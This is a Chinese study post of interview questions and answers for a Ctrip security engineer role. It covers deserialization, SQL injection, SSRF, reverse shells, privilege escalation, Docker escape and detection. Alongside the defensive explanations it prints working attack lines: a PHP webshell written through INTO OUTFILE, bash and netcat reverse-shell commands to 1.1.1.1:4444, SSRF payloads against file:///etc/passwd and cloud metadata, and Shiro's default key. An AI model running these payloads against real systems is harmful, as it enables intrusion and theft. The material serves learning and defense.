2025年滲透測試面試題總結-某 攜程旅游-基礎安全工程師(題目+回答)

網絡安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。

目錄

?攜程旅游-基礎安全工程師

反序列化原理

核心原理

擴展分析

SQL注入本質

核心原理

擴展分析

SQL注入寫馬流程

核心步驟

擴展分析

Outfile與Dumpfile的區別

寬字節截斷原理

核心邏輯

擴展分析

SSRF的利用和防御

利用方式

防御方案

SSRF無回顯如何利用

Shiro利用失敗分析

文件上傳防御

SQLMap原理與XSS掃描器對比

SQLMap核心邏輯

XSS掃描器原理

反彈Shell檢測與原理

檢測手段

反彈Shell原理

Agent信息采集與進程樹構建

采集信息類型

進程樹構建方法

提權檢測

Docker逃逸原理

隧道本質

甲方代碼審計與紅隊漏洞挖掘差異

漏掃與入侵檢測的權衡

IAST主動與被動的區別

?攜程旅游-基礎安全工程師

反序列化原理
sql注入本質
sql注入寫馬流程
outfile與dumpfile的區別 -前者支持多行和自定義編碼
寬字節截斷原理
SSRF的利用和防御
SSRF無回顯如何利用
shiro利用失敗,如何分析
文件上傳如何防御
sqlmap原理,如何分析
文件上傳如何防御
sqlmap原理,常規xss掃描器原理
反彈shell如何檢測
反彈shell的原理
作為一個agent 需要采集哪些信息,如何構建進程樹
提權如何檢測
docker逃逸原理
隧道本質是什么
甲方的代碼審計與紅隊漏洞挖掘有哪些差異
如何權衡各種漏掃或入侵檢測的漏報和誤報
IAST主動與被動的區別

助用戶理解并應對面試。

反序列化原理

核心原理
  1. 序列化與反序列化的定義
    序列化是將對象狀態轉換為可存儲或傳輸格式(如JSON、XML、二進制流)的過程,反序列化是其逆向操作。其本質是通過特定協議將內存中的對象結構映射為字節流,便于跨平臺傳輸或持久化存儲。

  2. 漏洞觸發機制
    反序列化漏洞的根源在于:當程序反序列化不可信數據時,若未嚴格校驗數據合法性,攻擊者可能通過構造惡意序列化數據觸發非預期的對象創建、方法調用或代碼執行。例如,Java中通過ObjectInputStream反序列化時,可能觸發readObject()方法中的危險邏輯。

  3. 典型攻擊場景

    • 利用鏈構造:攻擊者通過組合目標類庫中的多個類(如Apache Commons Collections的Transformer鏈),形成從反序列化入口到危險操作(如Runtime.exec() )的完整利用鏈。
    • 動態類加載:某些框架(如XStream)允許通過序列化數據指定加載遠程類文件,導致遠程代碼執行(RCE)。
擴展分析
  • 防御措施
    • 白名單驗證:限制反序列化的類范圍(如Java的ObjectInputFilter)。
    • 簽名校驗:對序列化數據添加數字簽名,防止篡改。
    • 禁用危險功能:如關閉Java的JNDI遠程類加載功能。
  • 工具與檢測
    • 使用ysoserial生成攻擊載荷,通過流量分析或代碼審計識別漏洞點。
    • 安全框架如SerialKiller可攔截惡意反序列化行為。

SQL注入本質

核心原理
  1. 輸入作為代碼執行
    SQL注入的本質是將用戶輸入拼接到SQL語句中,導致輸入數據被解析為SQL代碼。例如,' OR 1=1 -- 閉合原查詢條件,使查詢邏輯失效。

  2. 漏洞分類

    • 聯合查詢注入:通過UNION合并惡意查詢。
    • 布爾盲注:通過頁面響應差異逐位推斷數據。
    • 時間盲注:利用SLEEP()等函數觸發延遲判斷。
  3. 攻擊影響
    可導致數據泄露、篡改、權限提升,甚至通過xp_cmdshell執行系統命令。

擴展分析
  • 防御方案
    • 預編譯(參數化查詢):將輸入作為參數而非語句的一部分(如Java的PreparedStatement)。
    • 輸入過濾:過濾敏感字符(如'";),但需注意轉義規則與編碼問題。
    • 最小權限原則:數據庫賬戶僅分配必要權限,禁用危險函數。
  • 自動化檢測
    • 動態掃描:通過sqlmap等工具自動化探測注入點。
    • 靜態分析:使用Semgrep檢查代碼中的字符串拼接邏輯。

SQL注入寫馬流程

核心步驟
  1. 路徑與權限獲取

    • 通過@@secure_file_priv查看MySQL導出路徑限制。
    • 確保數據庫用戶具備FILE權限,且目標目錄可寫。
  2. 文件寫入
    使用SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/shell.php' 將WebShell寫入Web目錄。

  3. 訪問與利用
    通過HTTP請求訪問WebShell,傳遞參數執行命令。

擴展分析
  • 限制條件
    • MySQL需啟用--secure-file-priv的非嚴格模式。
    • 絕對路徑需通過報錯或枚舉獲取(如load_file()讀取配置文件)。
  • 防御手段
    • 禁用FILE權限,限制數據庫賬戶操作范圍。
    • 對Web目錄設置不可執行權限。

Outfile與Dumpfile的區別

  1. 功能差異
    • OUTFILE:支持多行數據導出,可指定字段終止符(如FIELDS TERMINATED BY ',')和編碼格式。
    • DUMPFILE:僅導出單行數據,適用于二進制文件(如圖片、可執行文件)。
  2. 使用場景
    • 導出文本OUTFILE適用于CSV、日志等結構化文本。
    • 導出二進制DUMPFILE用于導出BLOB字段或二進制內容。
  3. 安全限制
    兩者均需FILE權限,且受@@secure_file_priv路徑限制。

寬字節截斷原理

核心邏輯
  1. 編碼漏洞成因
    當數據庫使用GBK等寬字節編碼時,若轉義邏輯不當(如PHP的addslashes()),'被轉義為\'(即%5C%27)。攻擊者輸入%bf%27,數據庫將%bf%5c解析為繁體字“縗”,導致%27')未被轉義,從而閉合字符串。

  2. 利用場景
    常用于繞過轉義函數,構造SQL注入或文件上傳漏洞(如截斷文件名a.php%bf.jpg )。

擴展分析
  • 防御方案
    • 統一使用UTF-8編碼,避免寬字節問題。
    • 使用mysql_real_escape_string()而非addslashes()

SSRF的利用和防御

利用方式
  1. 內網服務探測
    • 訪問http://127.0.0.1:8080探測本地服務。
    • 利用AWS元數據接口http://169.254.169.254獲取云服務器敏感信息。
  2. 協議濫用
    • File協議:讀取本地文件(file:///etc/passwd)。
    • Dict協議:探測端口信息(dict://127.0.0.1:6379/info)。
  3. 遠程代碼執行
    結合內網應用的RCE漏洞(如Redis未授權訪問)實現攻擊鏈。
防御方案
  • 輸入校驗
    • 禁止內網IP和特殊協議(如file://)。
    • 使用域名白名單限制訪問范圍。
  • 網絡層防護
    • 配置防火墻規則,限制應用服務器出站流量。
    • 使用代理服務隔離請求來源。

SSRF無回顯如何利用

  1. DNS帶外(OOB)
    構造URL如http://dnslog.cn/record?q=payload ,通過DNS查詢日志獲取數據。
  2. 延遲檢測
    通過響應時間差異判斷端口開放狀態(如訪問開放的Redis端口會立即返回錯誤)。
  3. 外部服務交互
    利用HTTP服務記錄請求參數(如https://requestbin.com/?data=secret )。

Shiro利用失敗分析

  1. 密鑰不匹配
    Shiro的RememberMe功能依賴AES加密,若目標修改默認密鑰(kPH+bIxk5D2deZiIxcaaaA==),則無法解密Cookie。
  2. 依賴庫缺失
    利用鏈需特定類庫(如Commons Beanutils),若目標環境未包含則攻擊失敗。
  3. 防御措施生效
    • 開啟Shiro的secureRandom增強密鑰強度。
    • 使用WAF攔截惡意請求頭。

文件上傳防御

  1. 文件類型校驗
    • 檢查MIME類型、文件頭(如FFD8FF對應JPEG)。
    • 禁止上傳可執行文件(如.php.jsp)。
  2. 存儲隔離
    • 文件重命名(如UUID),避免路徑遍歷。
    • 存儲到非Web目錄,通過代理服務訪問靜態資源。
  3. 服務端加固
    • 設置文件大小限制,禁用危險函數(如putenv())。
    • 使用沙箱環境處理上傳文件。

SQLMap原理與XSS掃描器對比

SQLMap核心邏輯
  1. 啟發式探測
    通過報錯信息(如You have an error in your SQL syntax)判斷注入點類型。
  2. Payload生成
    針對不同數據庫(MySQL、MSSQL)構造聯合查詢、布爾邏輯等載荷。
  3. 結果提取
    利用UNION查詢、時間盲注逐位提取數據。
XSS掃描器原理
  1. 模糊測試(Fuzzing)
    插入<script>alert(1)</script>等測試向量,檢測是否原樣輸出。
  2. DOM分析
    解析JavaScript代碼,檢測document.location 等敏感源。
  3. 自動化驗證
    通過瀏覽器引擎(如Headless Chrome)模擬點擊,檢測彈窗行為。

反彈Shell檢測與原理

檢測手段
  1. 網絡流量分析
    • 監控非常規端口的出站連接(如/bin/bash連接外部IP的4444端口)。
    • 識別Shell特征(如sh -i/dev/tcp)。
  2. 進程監控
    • 檢測子進程鏈(如sshd -> bash -> nc)。
    • 使用auditd記錄敏感系統調用(execve)。
反彈Shell原理
  1. 反向連接
    受害主機主動連接攻擊者控制的IP和端口,繞過防火墻限制。
  2. 常用命令
    • Bashbash -i >& /dev/tcp/1.1.1.1/4444 0>&1
    • Netcatnc -e /bin/sh 1.1.1.1 4444

Agent信息采集與進程樹構建

采集信息類型
  1. 系統基礎信息
    • 操作系統版本、內核參數、環境變量。
    • 用戶列表、計劃任務、服務配置。
  2. 運行時數據
    • 進程列表(PID、PPID、命令行參數)。
    • 網絡連接(端口、協議、狀態)。
  3. 安全相關數據
    • 文件完整性校驗(如Tripwire)。
    • 日志文件(syslog、auth.log )。
進程樹構建方法
  1. 遍歷/proc目錄
    解析/proc/[PID]/stat獲取父進程ID(PPID),遞歸生成樹狀結構。
  2. 工具輔助
    使用pstreehtop可視化展示進程關系。

提權檢測

  1. 內核漏洞檢測
    使用uname -a獲取內核版本,匹配已知漏洞(如DirtyCow)。
  2. SUID/SGID文件檢查
    查找具有SUID權限的可執行文件(find / -perm -4000)。
  3. sudo配置審計
    檢查/etc/sudoers中用戶權限是否過度分配。

Docker逃逸原理

  1. 特權模式濫用
    使用--privileged啟動容器,攻擊者可通過掛載宿主機目錄(/)逃逸。
  2. 漏洞利用
    利用CVE-2019-5736(runc漏洞)覆蓋宿主機二進制文件。
  3. 配置錯誤
    掛載Docker Socket(/var/run/docker.sock )允許容器內控制宿主機Docker服務。

隧道本質

  1. 協議封裝
    將原始流量封裝在合法協議(如HTTP、DNS)中,繞過防火墻檢測。
  2. 流量轉發
    使用工具(如frpngrok)建立加密通道,將內網服務暴露至公網。

甲方代碼審計與紅隊漏洞挖掘差異

  1. 目標差異
    • 甲方:聚焦SDL(安全開發生命周期),修復潛在風險(如硬編碼密鑰)。
    • 紅隊:尋找可利用漏洞(如RCE、SSRF),模擬真實攻擊路徑。
  2. 方法論
    • 甲方:結合SAST/DAST工具,覆蓋全量代碼。
    • 紅隊:針對性手工測試,利用0day和邏輯漏洞。
  3. 輸出結果
    • 甲方:生成漏洞報告并推動修復,關注合規性(如GDPR)。
    • 紅隊:提供攻擊路徑報告,協助優化防御體系。

漏掃與入侵檢測的權衡

  1. 誤報處理
    • 優化規則庫:通過誤報樣本調整正則表達式閾值。
    • 人工驗證:對高風險告警手動確認。
  2. 漏報應對
    • 威脅情報整合:基于最新攻擊模式更新檢測規則。
    • 多層防御:結合網絡層、主機層、應用層防護。
  3. 業務適配
    • 根據業務重要性調整檢測靈敏度(如金融系統偏向減少漏報)。

IAST主動與被動的區別

  1. 主動式(Instrumentation)
    • 原理:在應用中插入探針,實時監控運行時的數據流和漏洞。
    • 優點:覆蓋率高,可檢測上下文相關漏洞(如業務邏輯錯誤)。
    • 缺點:性能損耗大,需適配不同語言框架。
  2. 被動式(流量分析)
    • 原理:通過代理或鏡像流量分析請求/響應,識別漏洞模式。
    • 優點:無侵入性,支持多語言應用。
    • 缺點:無法檢測未觸發代碼路徑的漏洞。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/75318.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/75318.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/75318.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

CSS 邊框(Border)樣式詳解

CSS 邊框&#xff08;Border&#xff09;樣式詳解 CSS 提供了多種邊框樣式&#xff0c;使我們能夠控制元素的外觀。本文將詳細介紹 CSS 邊框的各種屬性及應用示例。 1. 基本邊框屬性 CSS 主要使用 border 相關屬性定義邊框&#xff0c;基本語法如下&#xff1a; border: [邊…

SpringCould微服務架構之Docker(6)

容器的基本命令&#xff1a; 1. docker exec &#xff1a;進入容器執行命令 2. docker logs: -f 持續查看容器的運行日志 3. docker ps&#xff1a;查看所有運行的容器和狀態 案例&#xff1a;創建運行一個容Nginx容器 docker run--name myNginx -p 80:80 -d nginx 命…

unity3d端監聽 uri scheme

一、消息監聽 1.創建一個腳本命名為 “URISchemeListener” &#xff0c;用于接收URI消息&#xff08;代碼如下&#xff09;。 using System; using System.Runtime.InteropServices; using UnityEngine; using UnityEngine.UI;public class URISchemeListener : MonoBehavio…

網絡信息安全應急演練方案

信息安全應急演練方案 總則 &#xff08;一&#xff09;編制目的 旨在建立并完善應對病毒入侵、Webshell 攻擊以及未授權訪問等信息安全突發事件的應急機制&#xff0c;提升組織對這類事件的快速響應、協同處理和恢復能力&#xff0c;最大程度降低事件對業務運營、數據安全和…

電商場景下高穩定性數據接口的選型與實踐

在電商系統開發中&#xff0c;API接口需要應對高并發請求、動態數據更新和復雜業務場景。我將重點解析電商場景對數據接口的特殊需求及選型方案。 一、電商API必備的四大核心能力 千萬級商品數據實時同步 支持SKU基礎信息/價格/庫存多維度更新每日增量數據抓取與歷史版本對比…

Android R adb remount 調用流程

目的&#xff1a;調查adb remount 與adb shell進去后執行remount的差異 調試方法&#xff1a;添加log編譯adbd,替換system\apex\com.android.adbd\bin\adbd 一、調查adb remount實現 關鍵代碼&#xff1a;system\core\adb\daemon\services.cpp unique_fd daemon_service_to…

多模態大語言模型arxiv論文略讀(二)

Identifying the Correlation Between Language Distance and Cross-Lingual Transfer in a Multilingual Representation Space ?? 論文標題&#xff1a;Identifying the Correlation Between Language Distance and Cross-Lingual Transfer in a Multilingual Representat…

【運維】負載均衡

老規矩&#xff0c;先占坑&#xff0c;后續更新。 開頭先理解一下所謂的“均衡”&#xff0c;不能狹義地理解為分配給所有實際服務器一樣多的工作量&#xff0c;因為多臺服務器的承載能力各不相同&#xff0c;這可能體現在硬件配置、網絡帶寬的差異&#xff0c;也可能因為某臺…

大型語言模型Claude的“思維模式”最近被公開解剖

每周跟蹤AI熱點新聞動向和震撼發展 想要探索生成式人工智能的前沿進展嗎&#xff1f;訂閱我們的簡報&#xff0c;深入解析最新的技術突破、實際應用案例和未來的趨勢。與全球數同行一同&#xff0c;從行業內部的深度分析和實用指南中受益。不要錯過這個機會&#xff0c;成為AI領…

Ubuntu環境安裝

1. 安裝gcc、g和make sudo apt update sudo apt install build-essential 2. 安裝cmake ubuntu安裝cmake的三種方法&#xff08;超方便&#xff01;&#xff09;-CSDN博客 3. 安裝ssh sudo apt-get install libssl-dev

【力扣hot100題】(028)刪除鏈表的倒數第N個節點

鏈表題還是太簡單了。 怕越界所以先定義了一個頭結點的頭結點&#xff0c;然后定義快慢指針&#xff0c;快指針先走n步&#xff0c;隨后一起走&#xff0c;直到快指針走到頭&#xff0c;刪除慢指針后一個節點即可。 /*** Definition for singly-linked list.* struct ListNod…

C/C++回調函數實現與std::function和std::bind介紹

1 概述 回調函數是一種編程模式&#xff0c;指的是將一個函數作為參數傳遞給另一個函數&#xff0c;并在某個特定事件發生時或滿足某些條件時由該函數調用。這種機制允許你定義在特定事件發生時應執行的代碼&#xff0c;從而實現更靈活和模塊化的程序設計。 2 傳統C/C回調實現…

【藍橋杯】單片機設計與開發,速成備賽

一、LED模塊開看&#xff0c;到大模板 二、刷第零講題目&#xff08;直接復制模板&#xff09; 三、空降芯片模板直接調用部分&#xff08;聽完再敲代碼&#xff09; 四、第十三講開刷省賽題&#xff08;開始自己背敲模板&#xff09; 五、考前串講刷一遍 b連接&#xff1…

Java 基礎-28- 多態 — 多態下的類型轉換問題

在 Java 中&#xff0c;多態&#xff08;Polymorphism&#xff09;是面向對象編程的核心概念之一。多態允許不同類型的對象通過相同的方法接口進行操作&#xff0c;而實際調用的行為取決于對象的實際類型。雖然多態提供了極大的靈活性&#xff0c;但在多態的使用過程中&#xf…

Epub轉PDF軟件Calibre電子書管理軟件

Epub轉PDF軟件&#xff1a;Calibre電子書管理軟件 https://download.csdn.net/download/hu5566798/90549599 一款好用的電子書管理軟件&#xff0c;可快速導入電腦里的電子書并進行管理&#xff0c;支持多種格式&#xff0c;閱讀起來非常方便。同時也有電子書格式轉換功能。 …

在 Ubuntu 22.04 上安裝 Docker Compose 的步驟

1. 確保已安裝 Docker Docker Compose 需要 Docker 作為依賴&#xff0c;請先安裝 Docker&#xff1a; sudo apt update sudo apt install docker.io sudo systemctl enable --now docker2. 下載 Docker Compose 二進制文件 推薦安裝最新穩定版的 Docker Compose&#xff08…

Mysql-數據庫、安裝、登錄

一. 數據庫 1. 數據庫&#xff1a;DataBase&#xff08;DB&#xff09;&#xff0c;是存儲和管理數據的倉庫。 2. 數據庫管理系統&#xff1a;DataBase Management System&#xff08;DBMS&#xff09;,操縱管理數據庫的大型軟件 3. SQL&#xff1a;Structured Query Language&…

基于SpringAOP面向切面編程的一些實踐(日志記錄、權限控制、統一異常處理)

前言 Spring框架中的AOP&#xff08;面向切面編程&#xff09; 通過上面的文章我們了解到了AOP面向切面編程的思想&#xff0c;接下來通過一些實踐&#xff0c;去更加深入的了解我們所學到的知識。 簡單回顧一下AOP的常見應用場景 日志記錄&#xff1a;記錄方法入參、返回值、執…

Rust 語言語法糖深度解析:優雅背后的編譯器魔法

之前介紹了語法糖的基本概念和在C/Python/JavaScript中的使用&#xff0c;今天和大家討論語法糖在Rust中的表現形式。 程序語言中的語法糖&#xff1a;讓代碼更優雅的甜味劑 引言&#xff1a;語法糖的本質與價值 語法糖(Syntactic Sugar) 是編程語言中那些并不引入新功能&…

【56】數組指針:指針穿梭數組間

【56】數組指針&#xff1a;指針穿梭數組間 引言 在嵌入式系統開發中&#xff0c;指針操作是優化內存管理和數據交互的核心技術。本文以STC89C52單片機為平臺&#xff0c;通過一維指針強制轉換、二維指針結構化操作和**return返回指針**三種方法&#xff0c;系統講解指針操作二…